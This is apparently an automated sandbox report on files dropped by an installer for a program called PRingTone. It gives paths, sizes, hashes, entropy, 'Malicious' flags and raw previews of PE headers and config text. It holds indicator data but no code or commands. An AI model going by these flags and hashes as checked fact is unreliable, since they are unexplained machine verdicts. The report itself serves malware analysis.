Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	6.0293046975090325
Encrypted:	false
SSDEEP:	768:MiksLrrN6mRXYYYYYYYYYYYYYYYYYYYYYYYYYI9W0oM:zrHFYYYYYYYYYYYYYYYYYYYYYYYYY70N
MD5:	B82364A204396C352F8CC9B2F8ABEF73
SHA1:	20AD466787D65C987A9EBDBD4A2E8845E4D37B68
SHA-256:	2A64047F9B9B07F6CB22BFE4F9D4A7DB06994B6107B5EA2A7E38FAFA9E282667
SHA-512:	C8CAFA4C315CE96D41AD521E72180DF99931B5F448C8647161E7F9DCA29AA07213B9CCEF9E3F7FB5353C7B459E3DA620E560153BDBA1AB529C206330DBD26FF5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........d.........#....."...`...............@.... g.................................a........ .........................@.......@...............................`............................c.......................................................text.... ......."..................`.P`.data........@.......&..............@.`..rdata.......`.......@..............@.0@/4...........p.......F..............@.0@.bss..................................`..edata..@............T..............@.0@.idata..@............V..............@.0..CRT....,............\..............@.0..tls.................^..............@.0..reloc..`............`..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.25938266470983
Encrypted:	false
SSDEEP:	192:l0HhuwYqkoiCBJRgcsZQPCkWa/HI77wbcRODYCpes2n13dwczbUwS7RE8SD:lqhoqkVCXWgI77B0hGnLwczbUwSC8g
MD5:	228EE3AFDCC5F75244C0E25050A346CB
SHA1:	822B7674D1B7B091C1478ADD2F88E0892542516F
SHA-256:	7ACD537F3BE069C7813DA55D6BC27C3A933DF2CF07D29B4120A8DF0C26D26561
SHA-512:	7DFA06B9775A176A9893E362B08DA7F2255037DC99FB6BE53020ECD4841C7E873C03BAC11D14914EFDFE84EFEB3FB99745566BB39784962365BEEBDB89A4531B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Xj.......................................... ......................p......................................................................P@......................................................text...$...........................`.P`.data...,....0......................@.0..rdata.......@....... ..............@.0@/4...........P......."..............@.0@.bss.........`........................`..edata.......p......................@.0@.idata...............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25614
Entropy (8bit):	6.0293046975090325
Encrypted:	false
SSDEEP:	768:MiksLrrN6mRXYYYYYYYYYYYYYYYYYYYYYYYYYI9W0oM:zrHFYYYYYYYYYYYYYYYYYYYYYYYYY70N
MD5:	B82364A204396C352F8CC9B2F8ABEF73
SHA1:	20AD466787D65C987A9EBDBD4A2E8845E4D37B68
SHA-256:	2A64047F9B9B07F6CB22BFE4F9D4A7DB06994B6107B5EA2A7E38FAFA9E282667
SHA-512:	C8CAFA4C315CE96D41AD521E72180DF99931B5F448C8647161E7F9DCA29AA07213B9CCEF9E3F7FB5353C7B459E3DA620E560153BDBA1AB529C206330DBD26FF5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........d.........#....."...`...............@.... g.................................a........ .........................@.......@...............................`............................c.......................................................text.... ......."..................`.P`.data........@.......&..............@.`..rdata.......`.......@..............@.0@/4...........p.......F..............@.0@.bss..................................`..edata..@............T..............@.0@.idata..@............V..............@.0..CRT....,............\..............@.0..tls.................^..............@.0..reloc..`............`..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\rg_ebur128.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	6.232860260916194
Encrypted:	false
SSDEEP:	768:XozEJVjDF38DrOPwLg0cAY7K+k+Y+TyHMjMbHVJx9jm3LkkteFfXbBekdAnPKx:Xo4JJDirOoLg0C7F/rDGdpB52PK
MD5:	B162992412E08888456AE13BA8BD3D90
SHA1:	095FA02EB14FD4BD6EA06F112FDAFE97522F9888
SHA-256:	2581A6BCA6F4B307658B24A7584A6B300C91E32F2FE06EB1DCA00ADCE60FA723
SHA-512:	078594DE66F7E065DCB48DA7C13A6A15F8516800D5CEE14BA267F43DC73BC38779A4A4ED9444AFDFA581523392CBE06B0241AA8EC0148E6BCEA8E23B78486824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....z.......D................,n.........................p.......`........ ...................... .......0...............................`..............................t........................0...............................text....x.......z..................`.P`.data...,............~..............@.0..rdata..............................@.P@.eh_fram\|...........................@.0@.bss.....B............................`..edata....... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\sd.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	240654
Entropy (8bit):	6.518503846592995
Encrypted:	false
SSDEEP:	6144:yZDfF4DjzIHBV+bUeenu+t+oSTdjpNZ7utS81qpHW4paP2L:ekjzMBVKXeuq+oSTdjpr7N8f+L
MD5:	4F0C85351AEC4B00300451424DB4B5A4
SHA1:	BB66D807EDE0D7D86438207EB850F50126924C9D
SHA-256:	CC0B53969670C7275A855557EA16182C932160BC0F8543EFFC570F760AE2185E
SHA-512:	80C84403ED47380FF75EBA50A23E565F7E5C68C7BE8C208A5A48B7FB0798FF51F3D33780C902A6F8AB0E6DB328860C071C77B93AC88CADF84FEF7DF34DE3E2DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....H...................`.....g.................................\........ .........................o.......\...............................t............................S.......................................................text...dF.......H..................`.P`.data...X....`.......L..............@.P..rdata.......p.......N..............@.`@/4.......<.......>...T..............@.0@.bss..................................`..edata..o...........................@.0@.idata..\...........................@.0..CRT....,...........................@.0..tls................................@.0..reloc..t...........................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	852754
Entropy (8bit):	6.503318968423685
Encrypted:	false
SSDEEP:	12288:fpFFQV+FKJ37Dm+yY4pBkPr2v2meLaoHN/oBrZ3ixdnGVzpJXm/iN:fpnzFw37iDYIBkzuPcHNgrZ3uGVzm/iN
MD5:	07FB6D31F37FB1B4164BEF301306C288
SHA1:	4CB41AF6D63A07324EF6B18B1A1F43CE94E25626
SHA-256:	06DDF0A370AF00D994824605A8E1307BA138F89B2D864539F0D19E8804EDAC02
SHA-512:	CAB4A7C5805B80851ABA5F2C9B001FABC1416F6648D891F49EACC81FE79287C5BAA01306A42298DA722750B812A4EA85388FFAE9200DCF656DD1D5B5B9323353
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L..Y.,..v......!......... .....................a................................O}........ ......................................@.......................P..X0...........................0.......................................................text...............................`.P`.data...............................@.`..rdata..............................@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,.... ......................@.0..tls.... ....0......................@.0..rsrc........@......................@.0..reloc..X0...P...2..................@.0B/4...................&..............@.@B/19.................*..............@..B/31..........@......................@..B/45..........`......................@..B/57.................................@.0B/70.....i...............

C:\Program Files (x86)\PRingTone\bin\x86\tak_deco_lib.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.540227486061059
Encrypted:	false
SSDEEP:	1536:45vq1zsdXYjZmGz9anu3MwjLA/eeiUKJP3Djl23HTKJ7WMU3lPyK+ZSrKxV/UJ9G:vzMMg/gMKeGsMIl6K+Zvry5zNY
MD5:	BDB65DCE335AC29ECCBC2CA7A7AD36B7
SHA1:	CE7678DCF7AF0DBF9649B660DB63DB87325E6F69
SHA-256:	7EC9EE07BFD67150D1BC26158000436B63CA8DBB2623095C049E06091FA374C3
SHA-512:	8AABCA6BE47A365ACD28DF8224F9B9B5E1654F67E825719286697FB9E1B75478DDDF31671E3921F06632EED5BB3DDA91D81E48D4550C2DCD8E2404D566F1BC29
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...N......0u............@.....................................................................2.......v...............................h...................................................................................CODE....Pe.......f.................. ..`DATA....D............j..............@...BSS......................................idata..v...........................@....edata..2...........................@..P.reloc..h...........................@..P.rsrc...............................@..P....................................@..P................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\takdec.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	772608
Entropy (8bit):	6.546391052615969
Encrypted:	false
SSDEEP:	6144:Q75mFL0MNnM/SQdtij4UujFhGiNV1SckT3wio2L2jV6EfnQ29mwF3s4iGtInw1m8:AwN0e0lN1fnQUFccGns9ukS6
MD5:	B3B487FC3832B607A853211E8AC42CAD
SHA1:	06E32C28103D33DAD53BE06C894203F8808D38C1
SHA-256:	30BC10BD6E5B2DB1ACE93C2004E24C128D20C242063D4F0889FD3FB3E284A9E4
SHA-512:	FA6BDBA4F2A0CF4CCA40A333B69FD041D9EDC0736EDA206F17F10AF5505CC4688B0401A3CAD2D2F69392E752B8877DB593C7872BCDB133DC785A200FF38598BB
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.d.................D..........$].......`....@.......................................@......@...................0..o............p...(...................`...............................P......................X........ .......................text...h4.......6.................. ..`.itext.......P.......:.............. ..`.data....7...`...8...H..............@....bss....0i...............................idata..............................@....didata...... ......................@....edata..o....0......................@..@.tls.........@...........................rdata..]....P......................@..@.reloc.......`......................@..B.rsrc....(...p...(..................@..@....................................@..@................

C:\Program Files (x86)\PRingTone\bin\x86\uchardet.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	294926
Entropy (8bit):	6.191604766067493
Encrypted:	false
SSDEEP:	3072:7E0FFjiAeF21pLQFgK33duKMnlCj3eWyNg2hlNvFXl8rzJjjOjVmdX566Uwqwqwm:wKFX3LygKjjN2HIfpruwqwqwFUgVE
MD5:	C76C9AE552E4CE69E3EB9EC380BC0A42
SHA1:	EFFEC2973C3D678441AF76CFAA55E781271BD1FB
SHA-256:	574595B5FD6223E4A004FA85CBB3588C18CC6B83BF3140D8F94C83D11DBCA7BD
SHA-512:	7FB385227E802A0C77749978831245235CD1343B95D97E610D20FB0454241C465387BCCB937A2EE8A2E0B461DD3D2834F7F542E7739D8E428E146F378A24EE97
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.........\|.....................n.................................c........ ......................`..j7...........................................................................................................................text...8...........................`.P`.data...x...........................@.0..rdata...F.......H..................@.`@/4.......U.......V..................@.0@.bss.........P........................`..edata..j7...`...8...$..............@.0@.idata...............\..............@.0..CRT....,............b..............@.0..tls.................d..............@.0..reloc...............f..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\utils.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	13838
Entropy (8bit):	5.173769974589746
Encrypted:	false
SSDEEP:	192:oh3ZZBe9xz7rdz9Us5bsRuKUYDpesWAhQqCNhNXUwS7RuLH9+E:ohLBe3dz9UsikKDGZqCNhNXUwS4bcE
MD5:	9C55B3E5ED1365E82AE9D5DA3EAEC9F2
SHA1:	BB3D30805A84C6F0803BE549C070F21C735E10A9
SHA-256:	D2E374DF7122C0676B4618AED537DFC8A7B5714B75D362BFBE85B38F47E3D4A4
SHA-512:	EEFE8793309FDC801B1649661B0C17C38406A9DAA1E12959CD20344975747D470D6D9C8BE51A46279A42FE1843C254C432938981D108F4899B93CDD744B5D968
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........6.........#.........2...............0....@m.................................Z........ ......................p..J.......h............................................................@......................................................text...............................`.P`.data...,....0......................@.0..rdata.......@......................@.0@/4...........P......................@.0@.bss.........`........................`..edata..J....p.......(..............@.0@.idata..h............*..............@.0..CRT....,............0..............@.0..tls.................2..............@.0..reloc...............4..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\wavpackdll.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	258560
Entropy (8bit):	6.491223412910377
Encrypted:	false
SSDEEP:	6144:X+FRYMGwNozw5upAagZnb80OXrGSc+w9nI7ZMcyVhk233M:SGMGbw5upAagZb80SMXzkgM
MD5:	DB191B89F4D015B1B9AEE99AC78A7E65
SHA1:	8DAC370768E7480481300DD5EBF8BA9CE36E11E3
SHA-256:	38A75F86DB58EB8D2A7C0213861860A64833C78F59EFF19141FFD6C3B6E28835
SHA-512:	A27E26962B43BA84A5A82238556D06672DCF17931F866D24E6E8DCE88F7B30E80BA38B071943B407A7F150A57CF1DA13D2137C235B902405BEDBE229B6D03784
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.j..f...f...f..]....f..]...f..]....f......f......f......f......f..]....f...f..]f......f......f......f...f...f......f..Rich.f..........PE..L...y.._...........!................@........ ...............................@..........................................d...$...(.......h.................... ......................................(...@............ ..8............................text...q........................... ..`asmcode.>$.......&.................. ..`.rdata..B.... ......................@..@.data...............................@....rsrc...h...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\is-99VBH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	data
Category:	dropped
Size (bytes):	2805749
Entropy (8bit):	6.230765429824889
Encrypted:	false
SSDEEP:	49152:ryPsRmik33OJaKFlgLzGwdVfWRm95ptW+PSJ9Xs+:rxRnMcFlgLzGwdFfW+PSLr
MD5:	29B4AA990909CCF2638138C3474B2AA0
SHA1:	62239B9382A5F6800D0AA881283399F5BFC8B9E1
SHA-256:	67A232AF641667CD2F8D3BB7D62E86095906D3467D2DF3601A16E934EC4A45D1
SHA-512:	8338E8C2EF450A2697CF06B62C50FA9C40823847D90B12209226E3654DC36D7D9DFC2B5C53C4A9CD4D0CDA869B16378A9B95B16CAA8115C0578A553B6D720E3C
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.mX..>X..>X..>7..>Y..>...>L..>7..>b..>:..>T..>X..>...>X..>K..>n>.>Y..>...>Y..>RichX..>........PE..L....t.e.................p...........5............@................................Ba+.....................................X........................................................................................................................text...b.......p.................. ..`.rdata...2.......@..................@..@.data...\|O.......0..................@....rsrc...............................@..@.ncell..............................`...........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\is-G4SU6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	714526
Entropy (8bit):	6.506163769097249
Encrypted:	false
SSDEEP:	12288:sRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExycH:uObekrkfohrP337uzHnA6cH+iHEOWUGu
MD5:	19265DF9EF1CD930F912D05E7DACFC44
SHA1:	2D01F0C7DAAC87020CC04B2FF39D57285C7F024F
SHA-256:	502694EF4A33044EA4B7F7D97BB68E310D8FB565416C04EBE3C4C9A6B6ACFA89
SHA-512:	458F73D2B6DF75AD699307E4C54E4EEA1C5B49C70F2EC973F84A0AF647629D8ECBE8F3F99692F08DFEF4BA57D7026CA2EA409A8E26A72FBE4EB2D6E6D450C37E
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Program Files (x86)\PRingTone\stuff\date.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\PRingTone\stuff\is-2LAV1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\PRingTone\stuff\is-44380.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\PRingTone\stuff\is-CIGDI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	IFF data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	4.781797138644031
Encrypted:	false
SSDEEP:	24:wSXqInX3C5DMDxJWyjPTw2C4F0lB6v4AnFt+cUeC1/B0vFFNgpX27:wSacX3ChMDxPpulB6gAFHSJE6X27
MD5:	257D1BF38FA7859FFC3717EF36577C04
SHA1:	A9D2606CFC35E17108D7C079A355A4DB54C7C2EE
SHA-256:	DFACC2F208EBF6D6180EE6E882117C31BB58E8B6A76A26FB07AC4F40E245A0CB
SHA-512:	E13A6F489C9C5BA840502F73ACD152D366E0CCDD9D3D8E74B65FF89FDC70CD46F52E42EEE0B4BA9F151323EC07C4168CF82446334564ADAA8666624F7B8035F3
Malicious:	false
Preview:	FORMAT controls the output. Interpreted sequences are:.. %% a literal %. %a locale's abbreviated weekday name (e.g., Sun). %A locale's full weekday name (e.g., Sunday). %b locale's abbreviated month name (e.g., Jan). %B locale's full month name (e.g., January). %c locale's date and time (e.g., Thu Mar 3 23:05:25 2005). %C century; like %Y, except omit last two digits (e.g., 20). %d day of month (e.g., 01). %D date; same as %m/%d/%y. %e day of month, space padded; same as %_d. %F full date; same as %Y-%m-%d. %g last two digits of year of ISO week number (see %G). %G year of ISO week number (see %V); normally useful only with %V. %h same as %b. %H hour (00..23). %I hour (01..12). %j day of year (001..366). %k hour, space padded ( 0..23); same as %_H. %l hour, space padded ( 1..12); same as %_I. %m month (01..12). %M minute (00..59). %n a newline. %N nanoseconds (000000000..999999999). %p locale's equivalent of eith

C:\Program Files (x86)\PRingTone\stuff\is-UO3NN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\PRingTone\stuff\tagsreplace.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	5.088030483893024
Encrypted:	false
SSDEEP:	24:ZhIPjdbiNJQ387Udf9NpHjjY2S7AJYazRMiZMjYzMX2OP5usmC2ZxJnIBVjYHwZ2:vg79lS7sbtujNfuvlXJEVjH4O2
MD5:	992C00BEAB194CE392117BB419F53051
SHA1:	8F9114C95E2A2C9F9C65B9243D941DCB5CEA40DE
SHA-256:	9E35C8E29CA055CE344E4C206E7B8FF1736158D0B47BF7B3DBC362F7EC7E722C
SHA-512:	FACDCA78AE7D874300EACBE3014A9E39868C93493B9CD44AAE1AB39AFA4D2E0868E167BCA34F8C445AA7CCC9DDB27E1B607D739AF94AA4840789A3F01E7BED9D
Malicious:	false
Preview:	.# Tag replace definition..# ..# Values must be put into sections...# The following section names are supported:..#..# [*] is for all tags, i.e. values specified under this section will be replace in all tags..# Following tag-specific identifiers can be used. Values will be replaced only in specified tag...# [Conductor]..# [Date]..# [Publisher]..# [Lyrics]..# [Flags]..# [ISRC]..# [Title]..# [Catalog]..# [Year]..# [Genre]..# [Artist]..# [Album]..# [DiscId]..# [BPM]..# [Album Artist]..# [Composer]..# [Content Group]..# [Compilation]..# [Disc]..# [Track]..# [Comments]..# [Encoded by]..#..# Format is <value from>=<value to>..# where <value from> is case-sensitive value, which will be replaced..# with <value to>, which is RegEx expression...#..# If you want to do a case insensitive replacement, add ! to the name of the section ..#..# Those are specific value, which can be used as <value from>:..#..# <NULL> is used to specify empty tag as well as empty value, e.g. ..# [Comments]..# <ANY>=<

C:\Program Files (x86)\PRingTone\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	InnoSetup Log PRingTone, version 0x30, 7824 bytes, 910646\user, "C:\Program Files (x86)\PRingTone"
Category:	dropped
Size (bytes):	7824
Entropy (8bit):	5.0305733321697055
Encrypted:	false
SSDEEP:	96:/N8Wm4pGbK+T4hlOIhoG4cVSQs0LncC/wVn4t:18Wm4pi+QIhAcVSQ1n+VM
MD5:	D33C591B9CBD94738494156C25D609B3
SHA1:	67A5B364BEFE1A3E2C50AE8761F8FF53740C353D
SHA-256:	B8D82A766A08A8098D466EC6F7752CD91CA6710084316A1DED50DB018B83F732
SHA-512:	98F727BE79DC6EA16EDAFB94DB8DD474871FC427319CD11D50BCFE9D49B91289028982E8BC2FD18AD12EA5C486E791D2689E086F4E35CF060683EB38E041CE39
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................PRingTone.......................................................................................................................PRingTone.......................................................................................................................0...B.......%................................................................................................................8..........Cx........@....910646.user C:\Program Files (x86)\PRingTone............./.... ..........g.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...............................o...........!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.GetSystemMe

C:\Program Files (x86)\PRingTone\unins000.exe (copy)

Download File

